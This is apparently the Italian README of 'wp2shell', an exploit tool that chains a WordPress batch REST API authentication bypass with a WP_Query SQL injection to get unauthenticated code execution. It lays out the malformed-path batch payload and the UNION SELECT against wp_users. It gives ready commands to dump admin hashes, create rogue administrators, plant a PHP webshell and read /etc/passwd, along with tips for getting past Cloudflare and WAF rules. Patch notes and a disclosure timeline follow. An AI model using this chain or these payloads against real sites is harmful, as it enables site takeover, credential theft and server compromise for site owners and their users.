PoC di RCE pre-auth che concatena un bypass di autenticazione dell'API REST batch di WordPress con un'iniezione SQL in WP_Query per estrarre hash, aggiungere utenti amministratori o installare una webshell.
PoC RCE Pre-Auth - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. Eseguire questo strumento contro sistemi senza autorizzazione scritta è illegale. Gli autori non si assumono alcuna responsabilità per usi impropri.
wp2shell è un exploit proof-of-concept che concatena due vulnerabilità segnalate in modo indipendente per ottenere l'esecuzione remota di codice non autenticata su installazioni WordPress non aggiornate.
| CVE | Componente | Classe | Autenticazione richiesta |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Desync di array → bypass autenticazione | Nessuna |
| CVE-2026-60137 | WP_Query | SQL injection tramite author__not_in | Nessuna (bypassata dalla precedente) |
Il risultato finale: una shell sulla macchina, un account amministratore abusivo o un hash di credenziali estratto — tutto da una singola richiesta POST non autenticata.
Versioni interessate: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corretto in: WordPress 6.9.5 / 7.0.2 (patch rilasciata insieme alla divulgazione coordinata)
WordPress 5.6 ha introdotto l'endpoint di elaborazione batch su /wp-json/batch/v1. Consente ai client REST autenticati di raggruppare più sotto-richieste in un singolo round-trip HTTP. Ogni sotto-richiesta viene validata e inviata in modo indipendente da WP_REST_Server::serve_batch_request_v1().
All'interno di serve_batch_request_v1() (semplificato):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
I due array ($responses e $matches) dovrebbero rimanere sincronizzati — una voce per sotto-richiesta, stesso indice. Quando la sotto-richiesta [0] fallisce wp_parse_url(), aggiunge una voce a $responses ma non a $matches. Dopo il primo loop:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
Il Loop 2 quindi invia $matches[0] e scrive il risultato in $responses[0]. Sta inviando la richiesta[1] ma sovrascrivendo l'indice 0 nelle risposte — e, cosa critica, utilizza il contesto di autorizzazione calcolato come parte della gestione dell'errore della richiesta[0] fallita, non il contesto di autorizzazione per l'endpoint di destinazione.
L'effetto pratico: qualsiasi endpoint che richiede autenticazione (inclusi gli endpoint che eseguono query SQL) può essere chiamato senza credenziali.
"path": "://\x00" # triggers wp_parse_url() → false
La stringa ://\x00 è una stringa Python valida ma un URL non valido nel wrapper wp_parse_url() di PHP (il byte nullo causa il fallimento del parsing, restituendo false anziché un WP_Error, il che rende inutile il controllo is_wp_error() — solo $parsed === false lo intercetta, e l'allineamento dell'array è già compromesso a quel punto).
WP_Query tramite author__not_inLa REST API di WordPress per i post (/wp/v2/posts) espone un parametro di query author_exclude che viene mappato direttamente sull'argomento author__not_in di WP_Query. WP_Query è l'astrazione core del database utilizzata per quasi ogni query di contenuto in WordPress.
In WP_Query::parse_query() (semplificato):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Più avanti in WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
La sanificazione viene attivata solo quando $author__not_in è un array. Il sistema di tipi di PHP lo determina in base a come è arrivato il valore:
[1, 2, 3] → is_array() = true → sanificato"1,2,3" (una stringa) → is_array() = false → non sanificatoL'endpoint REST accetta author_exclude dalla query string dell'URL. Arriva come stringa. WP_Query salta il blocco di sanificazione e il valore grezzo viene interpolato nella clausola SQL WHERE.
Il punto di injection si trova all'interno di un contesto NOT IN (...):
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Poiché l'endpoint batch invia la sotto-richiesta come parte di un risultato di query più ampio, le righe della UNION vengono restituite nel corpo della risposta JSON REST, rendendo questa un'estrazione Boolean/UNION blind-free — nessun timing, nessun out-of-band necessario.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Installa le dipendenze:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| Modalità | Cosa fa |
|---|---|
detect | Identifica la versione di WP e verifica se l'endpoint batch esiste. Nessuno sfruttamento. |
dump | Estrae l'hash della password dell'amministratore tramite UNION SQLi. |
adduser | Crea un nuovo account amministratore tramite query INSERT stacked. |
shell | Installa una webshell PHP tramite SELECT INTO OUTFILE, quindi passa a una shell interattiva. |
Solo rilevamento — sicuro da eseguire durante lo scoping:
python3 wp2shell.py https://target.com --mode detect
Estrai l'hash admin:
python3 wp2shell.py https://target.com --mode dump
Estrai con output di debug (mostra le risposte HTTP grezze — utile quando è coinvolto un WAF):
python3 wp2shell.py https://target.com --mode dump --debug
Crea un account admin abusivo:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Installa la shell e passa al prompt interattivo:
python3 wp2shell.py https://target.com --mode shell
Esecuzione di comando one-shot (non interattiva):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Attraverso il proxy Burp:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Bypassa Cloudflare con un cookie cf_clearance esistente:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Prefisso tabelle non predefinito:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
Lo strumento utilizza cloudscraper per impostazione predefinita, che imita un fingerprint TLS di Chrome e risolve automaticamente la challenge JavaScript di Cloudflare (modalità iuam). Questo copre la maggior parte dei target su hosting condiviso dietro Cloudflare.
Se il target utilizza la gestione bot di Cloudflare (__cf_bm) o hai già un cookie di challenge risolto, passalo con --cookie "cf_clearance=..." per utilizzare invece una sessione requests semplice.
L'endpoint batch ha due percorsi registrati. Le regole WAF bloccano frequentemente il percorso standard (/wp-json/batch/v1) ma trascurano il percorso legacy con parametro di query (/?rest_route=/batch/v1). Lo strumento sonda entrambi automaticamente.
[-] Could not extract credentials
--debug per vedere la risposta JSON grezza.--prefix. Molte installazioni usano wp_ (predefinito); alcune usano prefissi personalizzati.content.rendered del target potrebbe essere filtrato. Prova invece --mode adduser.[-] OUTFILE failed
SELECT INTO OUTFILE richiede il privilegio FILE di MySQL sull'utente del DB. Questo è comune su hosting condiviso ma di solito disabilitato su database cloud/gestiti (RDS, Cloud SQL, ecc.).--mode dump per leggere il percorso dai file di configurazione.[-] Target does not appear vulnerable
GET /wp-json/ e cerca /batch/v1 nella chiave routes.WordPress 6.9.5 / 7.0.2 ha risolto entrambe le CVE:
CVE-2026-63030: serve_batch_request_v1() ora mantiene un singolo array unificato sia per i dati di match che per le risposte, eliminando il desync degli indici. Le richieste fallite vengono tracciate per indice nella struttura unificata.
CVE-2026-60137: WP_Query::parse_query() ora converte author__not_in in un array incondizionatamente prima della sanificazione, indipendentemente dal tipo di input:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Punteggio | Vettore |
|---|---|---|
| CVE-2026-63030 | 9.8 Critico | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critico | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Data | Evento |
|---|---|
| 2026-05-14 | CVE-2026-60137 scoperta durante un incarico di pentest |
| 2026-05-19 | CVE-2026-63030 scoperta; catena confermata come RCE pre-auth |
| 2026-05-22 | Entrambe le CVE segnalate al WordPress Security Team tramite HackerOne |
| 2026-06-03 | Il WordPress Security Team conferma e inizia lo sviluppo della patch |
| 2026-07-08 | Patch rilasciate (WP 6.9.5 / 7.0.2) insieme alla divulgazione coordinata |
| 2026-07-22 | PoC pubblicata |
Questo strumento è fornito solo per test di sicurezza autorizzati e ricerca.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
Licenza MIT — vedi LICENSE